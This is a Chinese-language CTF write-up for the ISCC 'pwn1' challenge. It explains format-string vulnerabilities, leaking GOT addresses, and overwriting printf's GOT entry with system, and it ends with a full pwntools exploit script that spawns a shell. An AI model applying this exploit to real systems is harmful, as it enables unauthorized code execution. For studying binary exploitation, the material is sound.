簡介 :
pwn1
200
*28 solves*
歡迎來的pwn世界,這次你能學到什么新知識呢?115.28.185.220:11111
[附件下載](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)
很明顯的格式化字符串漏洞
檢查一下可執行程序的保護類型
程序沒有開啟 PIE 保護 , 那么也就是說
程序的 .text .bss 等段在目標服務器中的內存地址中是固定的
基址為 : 0x8048000
我們知道利用格式化字符串是可以對任意內存進行讀寫操作的
那么這個程序我們應該如何去利用 ?
首先需要明確的是我們這里的目的 : 拿到目標主機的 shell
那么就是 :
shellcode 或者執行 system("/bin/sh")
但是這里程序開啟了 NX 保護 , 因此 shellcode 這條路應該是行不通了
那么我們就要考慮如何調用 system
要調用一個函數
- 我們首先需要知道這個函數在內存中的地址
- 而且需要在棧上為程序布局好參數
- 還要能讓 ip 跳轉到這個函數去執行
第一個問題 , system 的地址如何獲取 ?
利用 printf 函數 , 可以打印任意內存的數據
那么我們就可以利用這個漏洞打印出 got 表中的函數在內存中的地址
比如說打印出 : puts 函數(libc中的函數)
這樣我們就知道了一個 libc 中的函數
根據這個函數在給定的 libc 的偏移我們就可以還原出整個 libc 在內存中的布局情況
這樣我們就可以很容易找到 system 函數在目標服務器中的地址 , 這個問題也就解決了
但是如果這道題并沒有給出 libc ?
應該怎么去獲取 system 的地址呢 ?
首先 Linux 的內核是不斷在更新的
其中的 libc 版本也隨著不斷地更新
那么當 libc 的內容發生變化以后 , 其中函數之間的相對偏移肯定會發生變化
那么我們應該怎么才能根據已知的函數地址來得到目標函數地址呢 ?
做一個假設 :
條件一 : 我們擁有從Linux發型以來所有版本的 libc 文件
條件二 : 我們已知至少兩個函數函數在目標主機中的真實地址
那么我們是不是可以用第二個條件去推測目標主機的 libc 版本呢 ?
我們來進行進一步的分析 :
關于條件二 :
這里我們可以注意到 : printf 是可以被我們循環調用的
因此可以進行連續的內存泄露
我們可以將多個 got 表中的函數地址泄露出來 ,
我們這樣就可以的至少兩個函數的地址 , 條件二滿足
關于條件一 :
哈哈~對了 , 這么有誘惑力的事情一定已經有人做過了 , 這里給出一個網站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據這個原理運作的
兩個條件都滿足 , 根據這些函數之間的偏移去篩選出 libc 的版本
這樣我們就相當于得到了目標服務器的 libc 文件 , 達到了同樣的效果
我們再來看第二個和第三個問題 :
那么再來做一個假設
如果我們可以修改 got 表中的某一個函數的地址到 system 的地址
那么程序在調用這個函數的時候其實調用的就是 system 函數了, 根據格式化字符串漏洞的特性 , 我們知道是可以寫任意內存的 , 那么這樣就解決了第三個問題 , 怎么把 ip 設置到 system 函數
可是參數要怎么傳遞呢 ?
我們注意到 , 這個程序中存在以下 libc 中的函數 :
puts
scanf
printf
gets
我們仔細想一下 , 這些函數的參數都是什么樣子的 , 我們需要調用的 system 函數的參數是什么樣的
SYSTEM(3) Linux Programmer's Manual SYSTEM(3)
NAME
system - execute a shell command
SYNOPSIS
#include <stdlib.h>
int system(const char *command);
是一個字符指針 , 說得更通用一點就是是一個地址
那么是不是就是說 , 如果我們可以控制上面的幾個函數的第一個參數為 "/bin/sh" 的地址
那么我們就相當于為 system 函數傳遞了參數 ?
答案是肯定的
我們現在來回過頭來看看程序的執行流程 :
在跳轉到 system 之前 , 我們肯定要先調用 printf 將某一個函數的 got 表進行覆蓋
那么我們應該覆蓋哪個函數 ?
注意到 printf 函數的參數是我們輸入的字符串的地址
如果我們先利用 printf 的格式化字符串漏洞將 printf 的 got 表修改為 system 的地址
然后程序繼續執行
在 gets 的地方我們輸入 "/bin/sh"
然后程序自動執行 printf , 事實上 printf 已經被我們修改成了 system , 而且傳遞的參數就是我們輸入的 /bin/sh
其實如果有一個函數的第一個參數是一個整形而且我們可以控制的話
我們也可以通過控制這個整形參數來達到執行 system("/bin/sh") 的目的
這樣我們就完成了對漏洞利用過程的分析
下面我簡單介紹一個格式化字符串漏洞 :
大家在學習 c 語言的時候寫過的第一個程序就是
#include <stdio.h>
int main(){
printf("Hello world!\n");
}
這里使用到了 prinf 函數
隨著學習的深入 , 我們逐漸知道 printf 是一個參數長度可變的函數
其中第一個參數格式化字符串 , 這個格式化字符串中可以包含以 % 為開頭標記的格式化字符串
然后 printf 函數在處理第一個參數的時候 , 當每一次遇到 % 開頭的標記 , 就會根據這個 % 開頭的格式化字符串所規定的規則在堆上構造一個新的結果字符串 , 將整個格式化字符串檢索完畢后 , 會將這個字符串輸入
我們來總結一下 printf 有哪些可以使用的 % 標記 :
常見用法 :
%c 將對應參數以字符的形式進行格式化
%hd 以短整形的形式 (這里加上 h 表示短整形 , 也就是從內存取值的時候只取 2 個字節 (32位))
%d 以整形的形式
%ld 以長整形的形式
%x 以 16 進制的形式
%s 以字符串的形式 (注意這里與上面的有所不同 , 這里字符串的參數實際上是一個地址 , 這里的地址指向了需要被打印的字符串)
高級用法 :
每一個格式化字符串的 % 后可以跟一個 10 進制的常數 , 表示格式化后得到的字符串的長度
比如說 %4c 這會打印出三個空格以及一個字符
每一個格式化字符串的 % 之后可以跟一個十進制的常數再跟一個 $ 符號, 表示格式化指定位置的參數 :
例如 :
int a = 1;
int b = 2;
int c = 3;
printf("%1$d, %2$d, %3$d\n", a, b, c);
// 輸出結果為 : 1,2,3
printf("%3$d, %1$d, %2$d\n", a, b, c);
// 輸出結果為 : 3,1,2
還有一些不是很常用的格式化字符串例如 :
%n
這個格式化字符串的作用是 : 將當前已經格式化寫入堆中的字符個數寫入到對應的參數中
這樣說可能有點抽象 , 舉個例子 :
int size = 0;
printf("123456789%n", &size);
printf 首先會掃描第一個參數 ,
如果這個參數不是轉義字符或者格式化字符串
就直接將其復制到堆上已經申請好的用于保存即將輸出的結果字符串的內存地址中 ,
并將計數器加上 1
如果是轉義字符 , 則將轉義字符的結果復制到堆上 , 同理 + 1
當遇到格式化字符串 , 也就同樣的道理
這里的計數器保存了當前格式化得到的結果的字符數
那么當上述 prinf 執行結束后 , size 的值就會被修改為 9
一個值得注意的地方是 : 參數為 &size
也就是這個參數是一個內存地址
好了 , 介紹完了格式化字符串函數 , 再來介紹一下如何利用格式化字符串進行任意內存的讀寫的 :
首先來看任意內存讀 :
我們知道 printf 可以使用 %s 來打印一個字符串
而且參數是一個內存地址
那么也就是說只要我們能控制 printf 的參數 , 就可以通過 %s 來打印任意的內存數據
我們知道棧是由高地址向低地址生長的
假如說 printf 只有一個參數 , 這個參數是可以被我們控制的
我們就可以通過在這第一個參數中添加 % 這樣的格式化字符串來打印出棧上更高地址的數據
一般情況下 , 存在漏洞的代碼會長這樣
in main(){
char buffer[0x100] = {0};
read(0, buffer, 0x100);
printf(buffer);
}
這個小程序中 , buffer 是分配在棧上的 , 而且對 buffer 的分配要早于 printf 的執行
那么也就是說 buffer 的地址是高于 printf 的棧的
那么我們就可以利用格式化字符讀取到 buffer 的內容 , 因為根據我們之前的分析 , printf 會打印更高地址的數據 , 也就是 printf 將更高的地址上的數據作為了參數
假如我們的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
我們發現在第六個輸出的16進制數的地方輸出了 : 0x41414141
那么也就是說 , 我們輸入的字符串的地址比 printf 的第一個參數的地址要高 6 * 4 = 24 個字節 (32 位)
那么如果我們把第六個 %08x 修改為 %s , 這樣
printf 就會將 AAAA 這個數據當做是地址 , 進行一次取值操作 , 將 0x41414141 這個地址中數據打印出來 , 但是這里 0x41414141 這個地址是非法的 , 所以程序會報一個段錯誤 , 并退出
可是如果我們輸入的并不是AAAA , 而是一個可讀的內存地址的話 , 我們就可以使用 %s 來打印出這個內存的數據了
TIP : 一般在利用的時候 :
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
會寫成 : "AAAA%6$08x"
減少 payload 長度
再來看看任意地址寫 :
需要用到 %n 這個這個格式化字符串
同樣的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
當打印這個格式化字符串的時候如果在第 6 個位置遇到了 AAAA
那么也就是說我們就可以通過修改第六個 %08x 來讓 printf 將AAAA視作一個地址 (%s 和 %n 都會這樣)
那么如果我們現在要向 0x12345678 的地址寫入數據 : 0x19283746
應該怎么辦呢 ?
如果我們這樣輸入 :
"\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
printf 會先掃描這個字符串
通過計算 , 當掃描到 %n 的時候應該是已經打印了 :
4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28
個字符
那么這個 0x12345678 的地址就會被寫入 \x28\x00\x00\x00
這樣我們其實已經實現了寫內存操作
但是我們的目的可是要向這個地址寫入 0x19283746 = 422065990 這么大的值呀
難道我們要讓結果字符串的長度是 422065990 嗎 ? 顯然是不可能的
這里我們就要利用到 h 這個符號了
根據之前對 printf 的介紹 , 我們可以知道 %hd 可以以一個短整形的格式打印數據
那么這里也是一樣的
%hn就是向兩個字節的內存地址寫入數據
%hhn就是向一個字節
這樣的話 , 我們就大大減少了我們輸入的字符的長度
但是這么多字符如果要一個一個輸入的話還是很不好
這里我們還需要用到 %c 來進行快速格式化得到制定數量的字符
%4c 就可以得到四個字符的輸出
那么%128c , %3543c 也是同樣的道理
我一般比較習慣于使用 %hhn , 這樣比較容易控制數量
我們再來回過頭來看看之前寫入任意內存的問題 :
那么如果我們現在要向 0x12345678 的地址寫入數據 : 0x19283746
首先我們需要將被寫入的內存地址布局在棧上
這里我們使用 %hhn 那么也就是需要四個地址
"\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"
然后我們就可以使用 %7$ %8$ 來定位到這些內存地址
我們還要控制被寫入的數據
就可以通過 %c 來控制寫入的字節數
這里需要考慮一個問題 , 就是溢出
如果我們要向一個內存字節中寫入 0x10 當時我們已經打印了多于 0x10 的數據那么怎么辦呢 ?
這里也不用擔心 , 因為單字節的寫入是會產生溢出的
假如說我們現在已經向內存中寫入了 0xbf 個字節
我們要再次寫入 0x10 , 那么我們只需要將這個計數器調整為 0x110
這樣產生溢出以后 寫入內存的就是 0x10 了
這樣就解決了一次性寫入多個字節的問題
利用腳本 :
#!/usr/bin/env python
from pwn import *
def get_number(printed, target):
print "[+] Target : %d" % (target)
print "[+] printed number : %d" % (printed)
if printed > target:
return 256 - printed + target
elif printed == target:
return 0
else:
return target - printed
def write_memery(target, data, offset):
lowest = data >> 8 * 3 & 0xFF
low = data >> 8 * 2 & 0xFF
high = data >> 8 * 1 & 0xFF
highest = data >> 8 * 0 & 0xFF
printed = 0
payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
length_lowest = get_number(len(payload), lowest)
length_low = get_number(lowest, low)
length_high = get_number(low, high)
length_highest = get_number(high, highest)
payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
return payload
def leak(addr):
Io.sendline("1")
Io.readuntil("please input your name:\n")
payload = p32(addr) + "%6$s"
Io.sendline(payload)
leak_data = Io.read()[4:8]
return leak_data
Io = process("./pwn1")
Io.readuntil("plz input$")
# leak printf addr
printf_got = 0x0804A010
print "[+] got.printf : [%s]" % (hex(printf_got))
printf_addr = u32(leak(printf_got))
print "[+] Address of printf : [%s]" % (hex(printf_addr))
# get the address of system
system_offset = 0x0003a840
printf_offset = 0x000497c0
system_addr = printf_addr - printf_offset + system_offset
print "[+] Address of system : [%s]" % (hex(system_addr))
# write got.print to address of system
payload = write_memery(printf_got, system_addr, 6)
print "[+] Payload : %s" % (repr(payload))
Io.sendline("1")
Io.sendline(payload)
# write '/bin/sh'
Io.sendline("1")
Io.sendline("/bin/sh")
# interactive
Io.interactive()
參考資料 :
黑客之道-漏洞發掘的藝術